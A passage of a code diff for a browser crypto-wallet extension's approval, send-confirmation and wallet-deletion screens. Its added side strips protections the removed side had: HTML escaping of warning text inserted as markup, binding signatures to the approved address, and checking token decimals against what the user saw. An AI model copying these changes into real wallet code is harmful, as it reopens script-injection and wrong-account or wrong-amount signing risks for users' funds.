|
||||
"btn-approve-tx",
|
||||
details.approvedFrom,
|
||||
);
|
||||
gateOnWalletDefect("approve-tx-error", "btn-approve-tx");
|
||||
}
|
||||
|
||||
function decodeHexMessage(hex) {
|
||||
@@ -422,12 +342,9 @@ function showSignApproval(details) {
|
||||
|
||||
const sp = details.signParams;
|
||||
pendingSignParams = sp;
|
||||
pendingSignFrom = details.approvedFrom;
|
||||
|
||||
$("approve-sign-hostname").textContent = details.hostname;
|
||||
$("approve-sign-from").innerHTML = approvalAddressHtml(
|
||||
details.approvedFrom,
|
||||
);
|
||||
$("approve-sign-from").innerHTML = approvalAddressHtml(sp.from);
|
||||
|
||||
const isTyped =
|
||||
sp.method === "eth_signTypedData_v4" ||
|
||||
@@ -466,69 +383,46 @@ function showSignApproval(details) {
|
||||
|
||||
showView("approve-sign");
|
||||
attachCopyHandlers("view-approve-sign");
|
||||
gateOnWalletDefect(
|
||||
"approve-sign-error",
|
||||
"btn-approve-sign",
|
||||
details.approvedFrom,
|
||||
);
|
||||
gateOnWalletDefect("approve-sign-error", "btn-approve-sign");
|
||||
}
|
||||
|
||||
// Awaited by nobody: the popup entry point calls this and moves on. It
|
||||
// therefore has to absorb its own failure, and a background that cannot
|
||||
// describe the approval is the same outcome as an approval that is gone.
|
||||
async function show(id) {
|
||||
function show(id) {
|
||||
approvalId = id;
|
||||
approvalPort = runtimeApi().connect({ name: "approval:" + id });
|
||||
|
||||
let details = null;
|
||||
try {
|
||||
details = await sendMessage({ type: "AUTISTMASK_GET_APPROVAL", id });
|
||||
} catch {
|
||||
details = null;
|
||||
}
|
||||
|
||||
if (!details) {
|
||||
window.close();
|
||||
return;
|
||||
}
|
||||
if (details.type === "tx") {
|
||||
showTxApproval(details);
|
||||
return;
|
||||
}
|
||||
if (details.type === "sign") {
|
||||
showSignApproval(details);
|
||||
return;
|
||||
}
|
||||
// Site connection approval
|
||||
showPhishingWarning(
|
||||
"approve-site-phishing-warning",
|
||||
details.isPhishingDomain,
|
||||
);
|
||||
$("approve-hostname").textContent = details.hostname;
|
||||
$("approve-address").innerHTML = approvalAddressHtml(state.activeAddress);
|
||||
attachCopyHandlers("view-approve-site");
|
||||
$("approve-remember").checked = state.rememberSiteChoice;
|
||||
runtime.connect({ name: "approval:" + id });
|
||||
runtime.sendMessage({ type: "AUTISTMASK_GET_APPROVAL", id }, (details) => {
|
||||
if (!details) {
|
||||
window.close();
|
||||
return;
|
||||
}
|
||||
if (details.type === "tx") {
|
||||
showTxApproval(details);
|
||||
return;
|
||||
}
|
||||
if (details.type === "sign") {
|
||||
showSignApproval(details);
|
||||
return;
|
||||
}
|
||||
// Site connection approval
|
||||
showPhishingWarning(
|
||||
"approve-site-phishing-warning",
|
||||
details.isPhishingDomain,
|
||||
);
|
||||
$("approve-hostname").textContent = details.hostname;
|
||||
$("approve-address").innerHTML = approvalAddressHtml(
|
||||
state.activeAddress,
|
||||
);
|
||||
attachCopyHandlers("view-approve-site");
|
||||
$("approve-remember").checked = state.rememberSiteChoice;
|
||||
});
|
||||
}
|
||||
|
||||
let approvalId = null;
|
||||
// The port this approval was opened on. Closing this window disconnects it,
|
||||
// and the background treats that disconnect as "closed without deciding" for a
|
||||
// site connection — so the decision goes out on this same port and not as a
|
||||
// one-off message. One channel is ordered: a message posted on it is delivered
|
||||
// before its own disconnect, however immediately the close follows. Two
|
||||
// channels were not, and the close won, reporting a user who approved as
|
||||
// having refused.
|
||||
let approvalPort = null;
|
||||
let pendingTxDetails = null;
|
||||
// The exact objects shown to the user, kept so the popup signs what it
|
||||
// displayed rather than re-fetching or re-populating anything at approval
|
||||
// time. All are repopulated by show() when the popup is closed and reopened.
|
||||
// The exact parameters shown to the user, kept so the popup signs what it
|
||||
// displayed rather than re-fetching anything at approval time. Both are
|
||||
// repopulated by show() when the popup is closed and reopened.
|
||||
let pendingTxParams = null;
|
||||
let pendingSignParams = null;
|
||||
// The address the approval was raised for. Signing uses this rather than the
|
||||
// active address, so that an address switch since the approval fails here
|
||||
// instead of producing a signature from an account the screen never named.
|
||||
let pendingSignFrom = null;
|
||||
|
||||
// Approve buttons stay disabled and muted while the popup derives the key and
|
||||
// signs, which is slow enough (Argon2id) that a double click is likely.
|
||||
@@ -543,13 +437,12 @@ function setSignButtonBusy(busy) {
|
||||
}
|
||||
|
||||
// Say so on the approval screen itself, and disable the approve button, when
|
||||
// the address the approval was raised for belongs to a wallet whose keys
|
||||
// cannot be derived. Without this the screen would take a password and fail
|
||||
// after deriving it. Reject stays available; the wallet is not touched.
|
||||
// Returns true when it gated.
|
||||
function gateOnWalletDefect(errorId, buttonId, address) {
|
||||
const owner = findWalletFor(address);
|
||||
const defect = owner ? walletDefect(owner.wallet) : null;
|
||||
// the active address belongs to a wallet whose keys cannot be derived. Without
|
||||
// this the screen would take a password and fail after deriving it. Reject
|
||||
// stays available; the wallet is not touched. Returns true when it gated.
|
||||
function gateOnWalletDefect(errorId, buttonId) {
|
||||
const active = findActiveWallet();
|
||||
const defect = active ? walletDefect(active.wallet) : null;
|
||||
if (!defect) return false;
|
||||
showError(errorId, defect.shortMessage);
|
||||
$(buttonId).disabled = true;
|
||||
@@ -557,14 +450,12 @@ function gateOnWalletDefect(errorId, buttonId, address) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Locate the wallet and the address index owning an address. Returns null when
|
||||
// no wallet holds it. Approvals look up the address they were raised for, not
|
||||
// whichever address is active now: the approval named one account, and signing
|
||||
// with another is what verification refuses.
|
||||
function findWalletFor(address) {
|
||||
// Locate the wallet and the address index owning the currently active
|
||||
// address. Returns null when no wallet holds it.
|
||||
function findActiveWallet() {
|
||||
for (const wallet of state.wallets) {
|
||||
for (let i = 0; i < wallet.addresses.length; i++) {
|
||||
if (wallet.addresses[i].address === address) {
|
||||
if (wallet.addresses[i].address === state.activeAddress) {
|
||||
return { wallet, addrIndex: i };
|
||||
}
|
||||
}
|
||||
@@ -586,29 +477,7 @@ function clearSignPassword() {
|
||||
hideError("approve-sign-error");
|
||||
}
|
||||
|
||||
// Answer a site-connection approval and close. The decision goes out on the
|
||||
// approval port — see approvalPort above for why — and carries no approval id,
|
||||
// because the port name already names the approval the background will settle.
|
||||
// The post is guarded because a throw must not cost the close: posting on a
|
||||
// port whose background worker has been torn down throws, and the approval it
|
||||
// would have settled died with that worker, so the only thing left to do is
|
||||
// what the user asked for — go away.
|
||||
function decideSite(approved) {
|
||||
if (approvalPort) {
|
||||
try {
|
||||
approvalPort.postMessage({
|
||||
type: "AUTISTMASK_APPROVAL_DECISION",
|
||||
approved,
|
||||
remember: $("approve-remember").checked,
|
||||
});
|
||||
} catch {
|
||||
// Nothing to report it to; the window closes either way.
|
||||
}
|
||||
}
|
||||
window.close();
|
||||
}
|
||||
|
||||
function init(_ctx) {
|
||||
function init(ctx) {
|
||||
onViewLeave("approve-tx", clearTxPassword);
|
||||
onViewLeave("approve-sign", clearSignPassword);
|
||||
|
||||
@@ -618,11 +487,25 @@ function init(_ctx) {
|
||||
});
|
||||
|
||||
$("btn-approve").addEventListener("click", () => {
|
||||
decideSite(true);
|
||||
const remember = $("approve-remember").checked;
|
||||
runtime.sendMessage({
|
||||
type: "AUTISTMASK_APPROVAL_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: true,
|
||||
remember,
|
||||
});
|
||||
window.close();
|
||||
});
|
||||
|
||||
$("btn-reject").addEventListener("click", () => {
|
||||
decideSite(false);
|
||||
const remember = $("approve-remember").checked;
|
||||
runtime.sendMessage({
|
||||
type: "AUTISTMASK_APPROVAL_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: false,
|
||||
remember,
|
||||
});
|
||||
window.close();
|
||||
});
|
||||
|
||||
$("btn-approve-tx").addEventListener("click", async () => {
|
||||
@@ -634,12 +517,12 @@ function init(_ctx) {
|
||||
hideError("approve-tx-error");
|
||||
setTxButtonBusy(true);
|
||||
|
||||
const active = findWalletFor(pendingTxParams.from);
|
||||
const active = findActiveWallet();
|
||||
if (!active) {
|
||||
password = null;
|
||||
showError(
|
||||
"approve-tx-error",
|
||||
"No wallet was found for the address this transaction was approved for.",
|
||||
"No wallet was found for the active address.",
|
||||
);
|
||||
setTxButtonBusy(false);
|
||||
return;
|
||||
@@ -686,16 +569,15 @@ function init(_ctx) {
|
||||
active.addrIndex,
|
||||
decryptedSecret,
|
||||
);
|
||||
// Sign the approved transaction exactly as it was displayed. The
|
||||
// background populated it before this screen was drawn and checks
|
||||
// the artifact against it field for field, so there is nothing to
|
||||
// fill in here and no provider to fill it in from. The copy is
|
||||
// because ethers may strip `from` off what it is handed, and the
|
||||
// approval has to survive a retry intact; keeping `from` on it
|
||||
// makes ethers refuse a key that is not the approved address.
|
||||
payload.rawSignedTx = await signer.signTransaction({
|
||||
...pendingTxParams,
|
||||
});
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
const connected = signer.connect(provider);
|
||||
// This is the sequence ethers' own sendTransaction() runs
|
||||
// internally, so nonce, gas, fee and chain id population are
|
||||
// identical to when the background did the signing.
|
||||
const populated =
|
||||
await connected.populateTransaction(pendingTxParams);
|
||||
delete populated.from;
|
||||
payload.rawSignedTx = await connected.signTransaction(populated);
|
||||
} catch (e) {
|
||||
payload.error =
|
||||
e.shortMessage || e.message || "Transaction signing failed.";
|
||||
@@ -705,37 +587,29 @@ function init(_ctx) {
|
||||
decryptedSecret = null;
|
||||
}
|
||||
|
||||
// A send that never reaches the background is reported to the user
|
||||
// the same way a background that refused it is: describeSigningFailure
|
||||
// turns a null response into the generic message below.
|
||||
let response = null;
|
||||
try {
|
||||
response = await sendMessage(payload);
|
||||
} catch {
|
||||
response = null;
|
||||
}
|
||||
|
||||
if (response && response.txHash) {
|
||||
txStatus.showWait(pendingTxDetails, response.txHash);
|
||||
return;
|
||||
}
|
||||
// A retryable failure leaves the approval pending in the
|
||||
// background, so stay on this screen with a live button rather
|
||||
// than sending the user to a dead end.
|
||||
const outcome = describeSigningFailure(
|
||||
response,
|
||||
"The transaction could not be sent.",
|
||||
);
|
||||
if (outcome.retryable) {
|
||||
showError("approve-tx-error", outcome.message);
|
||||
setTxButtonBusy(false);
|
||||
} else {
|
||||
txStatus.showError(pendingTxDetails, null, outcome.message);
|
||||
}
|
||||
runtime.sendMessage(payload, (response) => {
|
||||
if (response && response.txHash) {
|
||||
txStatus.showWait(pendingTxDetails, response.txHash);
|
||||
return;
|
||||
}
|
||||
// A retryable failure leaves the approval pending in the
|
||||
// background, so stay on this screen with a live button rather
|
||||
// than sending the user to a dead end.
|
||||
const outcome = describeSigningFailure(
|
||||
response,
|
||||
"The transaction could not be sent.",
|
||||
);
|
||||
if (outcome.retryable) {
|
||||
showError("approve-tx-error", outcome.message);
|
||||
setTxButtonBusy(false);
|
||||
} else {
|
||||
txStatus.showError(pendingTxDetails, null, outcome.message);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$("btn-reject-tx").addEventListener("click", () => {
|
||||
notify({
|
||||
runtime.sendMessage({
|
||||
type: "AUTISTMASK_TX_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: false,
|
||||
@@ -752,12 +626,12 @@ function init(_ctx) {
|
||||
hideError("approve-sign-error");
|
||||
setSignButtonBusy(true);
|
||||
|
||||
const active = findWalletFor(pendingSignFrom);
|
||||
const active = findActiveWallet();
|
||||
if (!active) {
|
||||
password = null;
|
||||
showError(
|
||||
"approve-sign-error",
|
||||
"No wallet was found for the address this request was approved for.",
|
||||
"No wallet was found for the active address.",
|
||||
);
|
||||
setSignButtonBusy(false);
|
||||
return;
|
||||
@@ -829,31 +703,26 @@ function init(_ctx) {
|
||||
decryptedSecret = null;
|
||||
}
|
||||
|
||||
let response = null;
|
||||
try {
|
||||
response = await sendMessage(payload);
|
||||
} catch {
|
||||
response = null;
|
||||
}
|
||||
|
||||
if (response && response.signature) {
|
||||
window.close();
|
||||
return;
|
||||
}
|
||||
// The button comes back only when the approval is still pending in
|
||||
// the background; otherwise it stays disabled and the message says
|
||||
// why, because a control that cannot succeed must not look like it
|
||||
// can.
|
||||
const outcome = describeSigningFailure(
|
||||
response,
|
||||
"The message could not be signed.",
|
||||
);
|
||||
showError("approve-sign-error", outcome.message);
|
||||
if (outcome.retryable) setSignButtonBusy(false);
|
||||
runtime.sendMessage(payload, (response) => {
|
||||
if (response && response.signature) {
|
||||
window.close();
|
||||
return;
|
||||
}
|
||||
// The button comes back only when the approval is still pending in
|
||||
// the background; otherwise it stays disabled and the message says
|
||||
// why, because a control that cannot succeed must not look like it
|
||||
// can.
|
||||
const outcome = describeSigningFailure(
|
||||
response,
|
||||
"The message could not be signed.",
|
||||
);
|
||||
showError("approve-sign-error", outcome.message);
|
||||
if (outcome.retryable) setSignButtonBusy(false);
|
||||
});
|
||||
});
|
||||
|
||||
$("btn-reject-sign").addEventListener("click", () => {
|
||||
notify({
|
||||
runtime.sendMessage({
|
||||
type: "AUTISTMASK_SIGN_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: false,
|
||||
|
||||
@@ -2,21 +2,28 @@
|
||||
// Shows transaction details, warnings, errors. On Sign & Send,
|
||||
// reads inline password, decrypts secret, signs and broadcasts.
|
||||
|
||||
const { parseEther, parseUnits, formatEther, Contract } = require("ethers");
|
||||
const {
|
||||
parseEther,
|
||||
parseUnits,
|
||||
formatEther,
|
||||
formatUnits,
|
||||
Contract,
|
||||
} = require("ethers");
|
||||
const {
|
||||
$,
|
||||
showError,
|
||||
hideError,
|
||||
showView,
|
||||
showFlash,
|
||||
flashCopyFeedback,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
onViewLeave,
|
||||
} = require("./helpers");
|
||||
const { state } = require("../../shared/state");
|
||||
const { state, currentNetwork } = require("../../shared/state");
|
||||
const { getSignerForAddress } = require("../../shared/wallet");
|
||||
const { decryptWithPassword } = require("../../shared/vault");
|
||||
const { formatUsd, getPrice } = require("../../shared/prices");
|
||||
@@ -26,10 +33,6 @@ const {
|
||||
getFullWarnings,
|
||||
} = require("../../shared/addressWarnings");
|
||||
const { ERC20_ABI, isBurnAddress } = require("../../shared/constants");
|
||||
const {
|
||||
displayedDecimals,
|
||||
transferAmountUnits,
|
||||
} = require("../../shared/transferAmount");
|
||||
const {
|
||||
CODES,
|
||||
FEE_PENDING,
|
||||
@@ -58,7 +61,7 @@ function restore() {
|
||||
|
||||
function blockieHtml(address) {
|
||||
const src = makeBlockie(address);
|
||||
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||
}
|
||||
|
||||
function confirmAddressHtml(address, ensName, title) {
|
||||
@@ -82,11 +85,7 @@ function show(txInfo) {
|
||||
feeWei = null;
|
||||
|
||||
const isErc20 = txInfo.token !== "ETH";
|
||||
// The raw symbol is the price-table key; the capped one is what the
|
||||
// screen says. Truncating before the lookup would silently drop the
|
||||
// price of any token whose symbol is long enough to be capped.
|
||||
const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
|
||||
const symbol = displaySymbol(rawSymbol);
|
||||
const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
|
||||
|
||||
// Transaction type
|
||||
if (isErc20) {
|
||||
@@ -128,7 +127,7 @@ function show(txInfo) {
|
||||
|
||||
// Amount (with inline USD)
|
||||
const ethPrice = getPrice("ETH");
|
||||
const tokenPrice = getPrice(rawSymbol);
|
||||
const tokenPrice = getPrice(symbol);
|
||||
const amountNum = parseFloat(txInfo.amount);
|
||||
const price = isErc20 ? tokenPrice : ethPrice;
|
||||
const amountUsd = price ? amountNum * price : null;
|
||||
@@ -139,17 +138,12 @@ function show(txInfo) {
|
||||
|
||||
// Balance (with inline USD)
|
||||
if (isErc20) {
|
||||
// null is a balance whose scale nothing knows, not a balance of zero
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/349). The send is
|
||||
// refused at encode time for the same missing scale; what this line
|
||||
// must not do is state a quantity nobody established.
|
||||
const bal = txInfo.tokenBalance;
|
||||
const balUsd =
|
||||
tokenPrice && bal != null ? parseFloat(bal) * tokenPrice : null;
|
||||
$("confirm-balance").textContent =
|
||||
bal == null
|
||||
? "unknown (" + symbol + ")"
|
||||
: valueWithUsd(bal + " " + symbol, balUsd);
|
||||
const bal = txInfo.tokenBalance || "0";
|
||||
const balUsd = tokenPrice ? parseFloat(bal) * tokenPrice : null;
|
||||
$("confirm-balance").textContent = valueWithUsd(
|
||||
bal + " " + symbol,
|
||||
balUsd,
|
||||
);
|
||||
} else {
|
||||
const bal = txInfo.balance || "0";
|
||||
const balUsd = ethPrice ? parseFloat(bal) * ethPrice : null;
|
||||
@@ -166,12 +160,7 @@ function show(txInfo) {
|
||||
warningsEl.innerHTML = localWarnings
|
||||
.map(
|
||||
(w) =>
|
||||
// Only the three hardcoded strings in
|
||||
// src/shared/addressWarnings.js reach this today, but
|
||||
// src/shared/etherscanLabels.js already builds a
|
||||
// `warning` out of scraped explorer markup, so this is
|
||||
// one wiring change away from carrying remote text.
|
||||
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
|
||||
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w.message}</div>`,
|
||||
)
|
||||
.join("");
|
||||
warningsEl.style.visibility = "visible";
|
||||
@@ -221,7 +210,7 @@ function show(txInfo) {
|
||||
// touches already occupies its space, so re-running it never moves anything.
|
||||
function renderValidation(txInfo) {
|
||||
const isErc20 = txInfo.token !== "ETH";
|
||||
const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH";
|
||||
const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
|
||||
|
||||
const { canSend, codes } = validateTransfer({
|
||||
isErc20,
|
||||
@@ -240,22 +229,17 @@ function renderValidation(txInfo) {
|
||||
}
|
||||
if (codes.includes(CODES.INSUFFICIENT_TOKEN)) {
|
||||
messages.push(
|
||||
txInfo.tokenBalance == null
|
||||
? "This token's balance is unknown, because nothing this" +
|
||||
" wallet can consult reports how many decimal places it" +
|
||||
" uses, so the amount you are trying to send cannot be" +
|
||||
" checked against it."
|
||||
: "Insufficient " +
|
||||
symbol +
|
||||
" balance. You have " +
|
||||
txInfo.tokenBalance +
|
||||
" " +
|
||||
symbol +
|
||||
" but are trying to send " +
|
||||
txInfo.amount +
|
||||
" " +
|
||||
symbol +
|
||||
".",
|
||||
"Insufficient " +
|
||||
symbol +
|
||||
" balance. You have " +
|
||||
txInfo.tokenBalance +
|
||||
" " +
|
||||
symbol +
|
||||
" but are trying to send " +
|
||||
txInfo.amount +
|
||||
" " +
|
||||
symbol +
|
||||
".",
|
||||
);
|
||||
}
|
||||
if (codes.includes(CODES.INSUFFICIENT_ETH)) {
|
||||
@@ -314,7 +298,7 @@ function formatFeeEth(wei) {
|
||||
|
||||
async function estimateGas(txInfo) {
|
||||
try {
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
const feeData = await provider.getFeeData();
|
||||
let gasLimit;
|
||||
|
||||
@@ -326,17 +310,8 @@ async function estimateGas(txInfo) {
|
||||
});
|
||||
} else {
|
||||
const contract = new Contract(txInfo.token, ERC20_ABI, provider);
|
||||
// The scale the screen is rendering with, not the contract's own
|
||||
// answer: the estimate has to be for the transfer that would be
|
||||
// signed, and that one is encoded from what was displayed. See
|
||||
// transferAmount.js. A pending transaction that carries no usable
|
||||
// scale throws here, which reports the fee as unknown and leaves
|
||||
// Send blocked — an amount that cannot be checked against the
|
||||
// screen is never estimated for, let alone sent.
|
||||
const amount = parseUnits(
|
||||
txInfo.amount,
|
||||
displayedDecimals(txInfo.tokenDecimals),
|
||||
);
|
||||
const decimals = await contract.decimals();
|
||||
const amount = parseUnits(txInfo.amount, decimals);
|
||||
gasLimit = await contract.transfer.estimateGas(txInfo.to, amount, {
|
||||
from: txInfo.from,
|
||||
});
|
||||
@@ -396,7 +371,7 @@ async function estimateGas(txInfo) {
|
||||
|
||||
async function checkRecipientHistory(txInfo) {
|
||||
try {
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
const asyncWarnings = await getFullWarnings(txInfo.to, provider, {
|
||||
fromAddress: txInfo.from,
|
||||
});
|
||||
@@ -424,7 +399,7 @@ function clearPassword() {
|
||||
hideError("confirm-tx-password-error");
|
||||
}
|
||||
|
||||
function init(_ctx) {
|
||||
function init(ctx) {
|
||||
onViewLeave("confirm-tx", clearPassword);
|
||||
|
||||
$("btn-confirm-send").addEventListener("click", async () => {
|
||||
@@ -446,7 +421,7 @@ function init(_ctx) {
|
||||
wallet.encryptedSecret,
|
||||
password,
|
||||
);
|
||||
} catch {
|
||||
} catch (e) {
|
||||
showError(
|
||||
"confirm-tx-password-error",
|
||||
"That password is incorrect. Please try again.",
|
||||
@@ -464,7 +439,7 @@ function init(_ctx) {
|
||||
state.selectedAddress,
|
||||
decryptedSecret,
|
||||
);
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
const connectedSigner = signer.connect(provider);
|
||||
|
||||
if (pendingTx.token === "ETH") {
|
||||
@@ -478,16 +453,8 @@ function init(_ctx) {
|
||||
ERC20_ABI,
|
||||
connectedSigner,
|
||||
);
|
||||
// The contract's decimals() is read to be COMPARED with the
|
||||
// scale the screen rendered this amount at, not to encode with:
|
||||
// encoding from it signs whatever the contract answers now,
|
||||
// which is not what the user read. A disagreement throws and is
|
||||
// reported on the error screen. See transferAmount.js.
|
||||
const amount = transferAmountUnits(
|
||||
pendingTx.amount,
|
||||
pendingTx.tokenDecimals,
|
||||
await contract.decimals(),
|
||||
);
|
||||
const decimals = await contract.decimals();
|
||||
const amount = parseUnits(pendingTx.amount, decimals);
|
||||
tx = await contract.transfer(pendingTx.to, amount);
|
||||
}
|
||||
|
||||
|
||||
@@ -11,14 +11,13 @@ const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
escapeHtml,
|
||||
goBack,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
addressHoldsFunds,
|
||||
balanceLinesForAddress,
|
||||
} = require("./helpers");
|
||||
const { formatAddressTotal, getAddressValue } = require("../../shared/prices");
|
||||
const { formatUsd, getAddressValueUsd } = require("../../shared/prices");
|
||||
const { walletHasRecoveryPhrase } = require("../../shared/wallet");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const {
|
||||
@@ -45,8 +44,8 @@ function setFlash(msg) {
|
||||
// wallet.nextIndex is a high-water mark and is deliberately not rewound; and
|
||||
// re-importing this wallet's key material is refused as a duplicate by
|
||||
// findWalletByXpub() for as long as the wallet is here. What remains is to
|
||||
// delete the whole wallet in Settings — which destroys the stored secret,
|
||||
// with or without the password — and import again, after which
|
||||
// delete the whole wallet in Settings — which asks for the password and
|
||||
// destroys the stored secret — and import again, after which
|
||||
// scanForAddresses() rediscovers the address only if it has on-chain
|
||||
// activity. An address that was never used is not found by that scan, and
|
||||
// the copy must not imply otherwise.
|
||||
@@ -63,7 +62,8 @@ function recoveryPathText(wallet) {
|
||||
"importing this " +
|
||||
secret +
|
||||
" again is refused while this wallet is still here. The way back is " +
|
||||
"to delete the whole wallet in Settings, which destroys the stored " +
|
||||
"to delete the whole wallet in Settings, which asks for your " +
|
||||
"password and destroys the stored " +
|
||||
secret +
|
||||
", and then import that " +
|
||||
secret +
|
||||
@@ -84,16 +84,16 @@ function recoveryPathText(wallet) {
|
||||
// own: the rendered lines round to four decimals, so a sentence built from a
|
||||
// rounded number would report "0.0000 ETH" for an address holding real money.
|
||||
// The lines below it carry the amounts, in the same format as Home and
|
||||
// AddressDetail, followed by the USD total when there is one to give — no
|
||||
// total line at all on testnet or before the first price fetch, and no figure
|
||||
// when every holding here is one with no price, since "$0.00" directly under
|
||||
// "This address holds a balance." is a contradiction.
|
||||
// AddressDetail, followed by the USD total when prices are known (null on
|
||||
// testnet and before the first price fetch, where the line is left off rather
|
||||
// than printed as $0.00).
|
||||
function balanceWarningHtml(addr) {
|
||||
if (!addressHoldsFunds(addr)) return " ";
|
||||
const line = formatAddressTotal(getAddressValue(addr));
|
||||
const total = line
|
||||
? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>`
|
||||
: "";
|
||||
const usd = getAddressValueUsd(addr);
|
||||
const total =
|
||||
usd === null
|
||||
? ""
|
||||
: `<div class="text-xs text-muted mt-1">Total: ${formatUsd(usd)}</div>`;
|
||||
return (
|
||||
`<p class="mb-1">This address holds a balance. Removing it does not ` +
|
||||
`move or spend anything; the balance stays at the address.</p>` +
|
||||
|
||||
@@ -14,29 +14,8 @@ const {
|
||||
} = require("../../shared/walletDelete");
|
||||
|
||||
let deleteWalletIndex = null;
|
||||
let lostPasswordIndex = null;
|
||||
let ctx = null;
|
||||
|
||||
// The name shown for a wallet, and on the lost-password screen the string
|
||||
// the user has to type back. One function so the two cannot disagree: a
|
||||
// confirmation that asks for a name other than the one on screen is
|
||||
// unusable.
|
||||
function displayName(walletIdx) {
|
||||
const wallet = state.wallets[walletIdx];
|
||||
return (wallet && wallet.name) || "Wallet " + (walletIdx + 1);
|
||||
}
|
||||
|
||||
// What the typed confirmation and the wallet name are compared as. HTML
|
||||
// collapses runs of whitespace when it renders the name, so a wallet named
|
||||
// "My Wallet" with two spaces DISPLAYS as "My Wallet": the user cannot
|
||||
// see the second space and cannot type a string that matches the stored
|
||||
// name. Comparing collapsed on both sides is what keeps the confirmation
|
||||
// satisfiable, on the one screen whose whole purpose is unwedging a user
|
||||
// who is already stuck. Case and surrounding space go the same way.
|
||||
function confirmKey(name) {
|
||||
return name.trim().replace(/\s+/g, " ").toLowerCase();
|
||||
}
|
||||
|
||||
// Drop the password from the DOM and the wallet selection from the
|
||||
// closure. Registered as the view-leave handler as well as run on entry,
|
||||
// so the typed password does not sit in the hidden view after the user
|
||||
@@ -48,89 +27,19 @@ function clear() {
|
||||
$("delete-wallet-flash").style.visibility = "hidden";
|
||||
}
|
||||
|
||||
// The lost-password screen holds no secret — a wallet name is not one —
|
||||
// but it is wiped on leave for the neighbouring reason: a typed
|
||||
// confirmation left standing in a hidden view is one click away from
|
||||
// destroying a wallet the user has since navigated off. The button is
|
||||
// re-enabled here too, so a screen left mid-delete is usable on re-entry.
|
||||
function clearLostPassword() {
|
||||
lostPasswordIndex = null;
|
||||
$("delete-wallet-lost-name-input").value = "";
|
||||
$("delete-wallet-lost-flash").textContent = "";
|
||||
$("delete-wallet-lost-flash").style.visibility = "hidden";
|
||||
const btn = $("btn-delete-wallet-lost-confirm");
|
||||
btn.disabled = false;
|
||||
btn.classList.remove("text-muted");
|
||||
}
|
||||
|
||||
function show(walletIdx) {
|
||||
clear();
|
||||
deleteWalletIndex = walletIdx;
|
||||
$("delete-wallet-name").textContent = displayName(walletIdx);
|
||||
const wallet = state.wallets[walletIdx];
|
||||
$("delete-wallet-name").textContent =
|
||||
wallet.name || "Wallet " + (walletIdx + 1);
|
||||
showView("delete-wallet-confirm");
|
||||
}
|
||||
|
||||
// The two delete screens are siblings, not parent and child: nothing is
|
||||
// pushed on the way here, and Back goes to show() rather than goBack().
|
||||
// Both then have the same Back target — Settings, the screen that pushed
|
||||
// delete-wallet-confirm — and re-entering through show() hands the confirm
|
||||
// screen its wallet selection back, which a bare goBack() onto a view
|
||||
// whose leave hook has already nulled that selection would not.
|
||||
function showLostPassword() {
|
||||
const walletIdx = deleteWalletIndex;
|
||||
if (walletIdx === null) {
|
||||
goBack();
|
||||
return;
|
||||
}
|
||||
const name = displayName(walletIdx);
|
||||
clearLostPassword();
|
||||
$("delete-wallet-lost-name").textContent = name;
|
||||
$("delete-wallet-lost-name-echo").textContent = name;
|
||||
// showView() runs the leave hook of delete-wallet-confirm, which nulls
|
||||
// deleteWalletIndex, so this screen's own selection is recorded after
|
||||
// it and not before.
|
||||
showView("delete-wallet-lost-password");
|
||||
lostPasswordIndex = walletIdx;
|
||||
}
|
||||
|
||||
// Remove the wallet and put the user somewhere sensible. Shared by both
|
||||
// routes onto this screen, so the selection repair, the site-permission
|
||||
// cleanup and the accountsChanged broadcast cannot drift apart between
|
||||
// them.
|
||||
async function finishDelete(walletIdx) {
|
||||
const { activeAddressChanged } = removeWalletFromState(state, walletIdx);
|
||||
|
||||
deleteWalletIndex = null;
|
||||
lostPasswordIndex = null;
|
||||
|
||||
if (!state.hasWallet) {
|
||||
clearViewStack();
|
||||
await saveState();
|
||||
// Save before broadcasting: the background reads the active
|
||||
// address back out of storage to build accountsChanged.
|
||||
if (activeAddressChanged) broadcastActiveChanged();
|
||||
showView("welcome");
|
||||
return;
|
||||
}
|
||||
|
||||
await saveState();
|
||||
if (activeAddressChanged) broadcastActiveChanged();
|
||||
// Reset stack to [main] so Settings back goes home.
|
||||
// Use require() lazily to avoid circular dependency
|
||||
// (settings.js requires deleteWallet.js).
|
||||
clearViewStack();
|
||||
state.viewStack.push("main");
|
||||
ctx.renderWalletList();
|
||||
const settings = require("./settings");
|
||||
settings.show();
|
||||
showFlash("Wallet deleted.");
|
||||
}
|
||||
|
||||
function init(_ctx) {
|
||||
ctx = _ctx;
|
||||
|
||||
onViewLeave("delete-wallet-confirm", clear);
|
||||
onViewLeave("delete-wallet-lost-password", clearLostPassword);
|
||||
|
||||
// No wipe here: goBack() routes through showView(), which runs the
|
||||
// leave hook.
|
||||
@@ -138,60 +47,6 @@ function init(_ctx) {
|
||||
